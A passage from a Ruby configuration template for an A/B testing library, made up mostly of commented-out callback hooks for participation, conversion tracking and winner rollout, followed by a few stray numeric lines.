config.on_use = -> (experiment, variant, participant, metadata) { ... } # callback when a participant converts for a variant in the experiment, can be # used for logging, tracking, etc. # # config.on_convert = -> (experiment, checkpoint, variant, participant, metadata) { ... } # callback that can short-circuit participation based on your own logic, which # gets called *after* all the core engine checks (i.e. that the user is # not excluded or already participating, etc.) # # `allowed` will be the value returned by any previous callbacks in the chain # # should return true or false # # config.allow_participation = -> (experiment, allowed, participant, metadata) { ... return true } # callback that can short-circuit tracking participation based on your own logic, # which gets checked as part of variant assignment - mostly useful with static # algorithms used across a variety of contexts you do and do not want to track # # `track` will be the value returned by any previous callbacks in the chain # # should return true or false # # config.track_participation = -> (experiment, track, participant, metadata) { ... return true } # callback that can short-circuit conversion based on your own logic, which # gets called *after* all the core engine checks (i.e. that the user is # participating in the experiment, is within the bounds of the experiment # configuration for allow_multiple_*, etc.) # # `allowed` will be the value returned by any previous callbacks in the chain # # should return true or false # # config.allow_conversion = -> (experiment, allowed, checkpoint, variant, participant, metadata) { ... return true } # callback that can be used to modify the rollout of a selected winner - for # example you could use a custom algorithm or even something like the flipper # gem to do a "feature rollout" from your control variant to your winner for # all users # # be aware that when using this alongside track_winner_conversions, whatever # variant is returned from this callback chain is what will be tracked for # participation and conversion as long as the experiment is still running # # `winner` will be the variant returned by any previous callbacks in the chain # # must return an experiment variant # # config.rollout_winner = -> (experiment, winner, participant) { return winner } end
44.505495
118
0.728724